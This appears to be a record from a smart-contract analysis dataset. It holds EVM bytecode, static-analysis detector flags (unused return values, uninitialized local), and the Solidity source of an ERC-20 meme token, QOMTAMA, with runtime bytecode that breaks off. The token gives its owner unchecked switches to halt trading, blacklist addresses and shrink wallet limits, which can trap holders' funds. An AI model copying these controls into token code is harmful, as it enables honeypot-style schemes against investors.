5260200160002054612aa8600d54600c5461303390919063ffffffff16565b612f6390919063ffffffff16565b612fe990919063ffffffff16565b9050612b3e86612b3083612b22600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600b5461303390919063ffffffff16565b61307d90919063ffffffff16565b61303390919063ffffffff16565b600b81905550612b57868261303390919063ffffffff16565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050612d25565b601060009054906101000a900460ff1660ff16600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff161015612c7457612c71600c54612c63600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600f54612f6390919063ffffffff16565b612fe990919063ffffffff16565b90505b612cc685600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461303390919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d1e85600b5461303390919063ffffffff16565b600b819055505b601060009054906101000a900460ff16600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055506000851115612dc557612dc4600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685858803613105565b5b6000811115612dfe57612dfd600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685848403613105565b5b5050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612ec8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f6e6c79206d616e61676572416464722063616e207374616b65546f6b656e2e81525060200191505060405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663a694fc3a836040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015612f2057600080fd5b505af1158015612f34573d6000803e3d6000fd5b50505050505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080831415612f765760009050612fe3565b6000828402905082848281612f8757fe5b0414612fde576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806138826021913960400191505060405180910390fd5b809150505b92915050565b600061302b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506136b0565b905092915050565b600061307583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613776565b905092915050565b6000808284019050838110156130fb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600060608473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8585604051602401808373ffffffffffffffffffffffffffffffffffffffff168152602001828152602001925050506040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b602083106131c857805182526020820191506020810190506020830392506131a5565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461322a576040519150601f19603f3d011682016040523d82523d6000602084013e61322f565b606091505b509150915081801561326f575060008151148061326e575080806020019051602081101561325c57600080fd5b81019080805190602001909291905050505b5b6132e1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5472616e7366657248656c7065723a205452414e534645525f4641494c45440081525060200191505060405180910390fd5b5050505050565b600060608573ffffffffffffffffffffffffffffffffffffffff166323b872dd868686604051602401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200193505050506040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b602083106133c957805182526020820191506020810190506020830392506133a6565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461342b576040519150601f19603f3d011682016040523d82523d6000602084013e613430565b606091505b5091509150818015613470575060008151148061346f575080806020019051602081101561345d57600080fd5b81019080805190602001909291905050505b5b6134c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806139376024913960400191505060405180910390fd5b505050505050565b600060608473ffffffffffffffffffffffffffffffffffffffff1663095ea7b38585604051602401808373ffffffffffffffffffffffffffffffffffffffff168152602001828152602001925050506040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b60208310613590578051825260208201915060208101905060208303925061356d565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146135f2576040519150601f19603f3d011682016040523d82523d6000602084013e6135f7565b606091505b50915091508180156136375750600081511480613636575080806020019051602081101561362457600080fd5b81019080805190602001909291905050505b5b6136a9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f5472616e7366657248656c7065723a20415050524f56455f4641494c4544000081525060200191505060405180910390fd5b5050505050565b6000808311829061375c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613721578082015181840152602081019050613706565b50505050905090810190601f16801561374e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161376857fe5b049050809150509392505050565b6000838311158290613823576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156137e85780820151818401526020810190506137cd565b50505050905090810190601f1680156138155780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f6e6c79206d616e616765722063616e206368616e6765206d616e6167657220416464726573732e4f6e6c79206d616e61676572416464722063616e20616464204c69717569646974792e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f6e6c79206d616e61676572416464722063616e207472616e73666572204c69717569646974792e4f6e6c79206d616e61676572416464722063616e207769746864726177546f6b656e2e4f6e6c79206f776e65722063616e206368616e6765206f776e657220416464726573732e4f6e6c79206d616e61676572416464722063616e2072656d6f76654c69717569646974792e5472616e7366657248656c7065723a205452414e534645525f46524f4d5f4641494c45444f6e6c79206d616e61676572416464722063616e20666f72636557697468647261772ea2646970667358221220a6561ee85c40c555843482cd8565009118a07890ac03649da3f2de903905ba4564736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
551
0x354A80D57Be866f0DA5B6C573dc3f82d832B1629
/** *Submitted for verification at Etherscan.io on 2022-04-08 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract QOMTAMA is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "SAITAMA KILLER"; string private constant _symbol = "QOMTAMA"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 3; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 6; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x500832eB6bdc70221942bA89f1bCCca95F6Fbda8); address payable private _marketingAddress = payable(0x500832eB6bdc70221942bA89f1bCCca95F6Fbda8); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 300000 * 10**9; uint256 public _maxWalletSize = 300000 * 10**9; uint256 public _swapTokensAtAmount = 100 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%"); require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy tax must be between 0% and 20%"); require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%"); require(taxFeeOnSell >= 0 && taxFeeOnSell <= 20, "Sell tax must be between 0% and 20%"); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { if (maxTxAmount > 1000 * 10**9) { _maxTxAmount = maxTxAmount; } } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055b578063dd62ed3e1461057b578063ea1644d5146105c1578063f2fde38b146105e157600080fd5b8063a2a957bb146104d6578063a9059cbb146104f6578063bfd7928414610516578063c3c8cd801461054657600080fd5b80638f70ccf7116100d15780638f70ccf7146104505780638f9a55c01461047057806395d89b411461048657806398a5c315146104b657600080fd5b80637d1db4a5146103ef5780637f2feddc146104055780638da5cb5b1461043257600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038557806370a082311461039a578063715018a6146103ba57806374010ece146103cf57600080fd5b8063313ce5671461030957806349bd5a5e146103255780636b999053146103455780636d8aa8f81461036557600080fd5b80631694505e116101ab5780631694505e1461027757806318160ddd146102af57806323b872dd146102d35780632fd689e3146102f357600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024757600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611ae8565b610601565b005b34801561020a57600080fd5b5060408051808201909152600e81526d29a0a4aa20a6a09025a4a62622a960911b60208201525b60405161023e9190611bad565b60405180910390f35b34801561025357600080fd5b50610267610262366004611c02565b6106a0565b604051901515815260200161023e565b34801561028357600080fd5b50601454610297906001600160a01b031681565b6040516001600160a01b03909116815260200161023e565b3480156102bb57600080fd5b50662386f26fc100005b60405190815260200161023e565b3480156102df57600080fd5b506102676102ee366004611c2e565b6106b7565b3480156102ff57600080fd5b506102c560185481565b34801561031557600080fd5b506040516009815260200161023e565b34801561033157600080fd5b50601554610297906001600160a01b031681565b34801561035157600080fd5b506101fc610360366004611c6f565b610720565b34801561037157600080fd5b506101fc610380366004611c9c565b61076b565b34801561039157600080fd5b506101fc6107b3565b3480156103a657600080fd5b506102c56103b5366004611c6f565b6107fe565b3480156103c657600080fd5b506101fc610820565b3480156103db57600080fd5b506101fc6103ea366004611cb7565b610894565b3480156103fb57600080fd5b506102c560165481565b34801561041157600080fd5b506102c5610420366004611c6f565b60116020526000908152604090205481565b34801561043e57600080fd5b506000546001600160a01b0316610297565b34801561045c57600080fd5b506101fc61046b366004611c9c565b6108d0565b34801561047c57600080fd5b506102c560175481565b34801561049257600080fd5b50604080518082019091526007815266514f4d54414d4160c81b6020820152610231565b3480156104c257600080fd5b506101fc6104d1366004611cb7565b610918565b3480156104e257600080fd5b506101fc6104f1366004611cd0565b610947565b34801561050257600080fd5b50610267610511366004611c02565b610afd565b34801561052257600080fd5b50610267610531366004611c6f565b60106020526000908152604090205460ff1681565b34801561055257600080fd5b506101fc610b0a565b34801561056757600080fd5b506101fc610576366004611d02565b610b5e565b34801561058757600080fd5b506102c5610596366004611d86565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cd57600080fd5b506101fc6105dc366004611cb7565b610bff565b3480156105ed57600080fd5b506101fc6105fc366004611c6f565b610c2e565b6000546001600160a01b031633146106345760405162461bcd60e51b815260040161062b90611dbf565b60405180910390fd5b60005b815181101561069c5760016010600084848151811061065857610658611df4565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069481611e20565b915050610637565b5050565b60006106ad338484610d18565b5060015b92915050565b60006106c4848484610e3c565b610716843361071185604051806060016040528060288152602001611f3a602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611378565b610d18565b5060019392505050565b6000546001600160a01b0316331461074a5760405162461bcd60e51b815260040161062b90611dbf565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107955760405162461bcd60e51b815260040161062b90611dbf565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e857506013546001600160a01b0316336001600160a01b0316145b6107f157600080fd5b476107fb816113b2565b50565b6001600160a01b0381166000908152600260205260408120546106b1906113ec565b6000546001600160a01b0316331461084a5760405162461bcd60e51b815260040161062b90611dbf565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108be5760405162461bcd60e51b815260040161062b90611dbf565b64e8d4a510008111156107fb57601655565b6000546001600160a01b031633146108fa5760405162461bcd60e51b815260040161062b90611dbf565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109425760405162461bcd60e51b815260040161062b90611dbf565b601855565b6000546001600160a01b031633146109715760405162461bcd60e51b815260040161062b90611dbf565b60048411156109d05760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420342560d81b606482015260840161062b565b6014821115610a2c5760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642032604482015261302560f01b606482015260840161062b565b6004831115610a8c5760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420342560d01b606482015260840161062b565b6014811115610ae95760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526232302560e81b606482015260840161062b565b600893909355600a91909155600955600b55565b60006106ad338484610e3c565b6012546001600160a01b0316336001600160a01b03161480610b3f57506013546001600160a01b0316336001600160a01b0316145b610b4857600080fd5b6000610b53306107fe565b90506107fb81611470565b6000546001600160a01b03163314610b885760405162461bcd60e51b815260040161062b90611dbf565b60005b82811015610bf9578160056000868685818110610baa57610baa611df4565b9050602002016020810190610bbf9190611c6f565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bf181611e20565b915050610b8b565b50505050565b6000546001600160a01b03163314610c295760405162461bcd60e51b815260040161062b90611dbf565b601755565b6000546001600160a01b03163314610c585760405162461bcd60e51b815260040161062b90611dbf565b6001600160a01b038116610cbd5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062b565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d7a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062b565b6001600160a01b038216610ddb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ea05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062b565b6001600160a01b038216610f025760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062b565b60008111610f645760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062b565b6000546001600160a01b03848116911614801590610f9057506000546001600160a01b03838116911614155b1561127157601554600160a01b900460ff16611029576000546001600160a01b038481169116146110295760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062b565b60165481111561107b5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062b565b6001600160a01b03831660009081526010602052604090205460ff161580156110bd57506001600160a01b03821660009081526010602052604090205460ff16155b6111155760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062b565b6015546001600160a01b0383811691161461119a5760175481611137846107fe565b6111419190611e3b565b1061119a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062b565b60006111a5306107fe565b6018546016549192508210159082106111be5760165491505b8080156111d55750601554600160a81b900460ff16155b80156111ef57506015546001600160a01b03868116911614155b80156112045750601554600160b01b900460ff165b801561122957506001600160a01b03851660009081526005602052604090205460ff16155b801561124e57506001600160a01b03841660009081526005602052604090205460ff16155b1561126e5761125c82611470565b47801561126c5761126c476113b2565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112b357506001600160a01b03831660009081526005602052604090205460ff165b806112e557506015546001600160a01b038581169116148015906112e557506015546001600160a01b03848116911614155b156112f25750600061136c565b6015546001600160a01b03858116911614801561131d57506014546001600160a01b03848116911614155b1561132f57600854600c55600954600d555b6015546001600160a01b03848116911614801561135a57506014546001600160a01b03858116911614155b1561136c57600a54600c55600b54600d555b610bf9848484846115f9565b6000818484111561139c5760405162461bcd60e51b815260040161062b9190611bad565b5060006113a98486611e53565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069c573d6000803e3d6000fd5b60006006548211156114535760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062b565b600061145d611627565b9050611469838261164a565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114b8576114b8611df4565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561150c57600080fd5b505afa158015611520573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115449190611e6a565b8160018151811061155757611557611df4565b6001600160a01b03928316602091820292909201015260145461157d9130911684610d18565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906115b6908590600090869030904290600401611e87565b600060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806116065761160661168c565b6116118484846116ba565b80610bf957610bf9600e54600c55600f54600d55565b60008060006116346117b1565b9092509050611643828261164a565b9250505090565b600061146983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117ef565b600c5415801561169c5750600d54155b156116a357565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116cc8761181d565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116fe908761187a565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461172d90866118bc565b6001600160a01b03891660009081526002602052604090205561174f8161191b565b6117598483611965565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161179e91815260200190565b60405180910390a3505050505050505050565b6006546000908190662386f26fc100006117cb828261164a565b8210156117e657505060065492662386f26fc1000092509050565b90939092509050565b600081836118105760405162461bcd60e51b815260040161062b9190611bad565b5060006113a98486611ef8565b6000806000806000806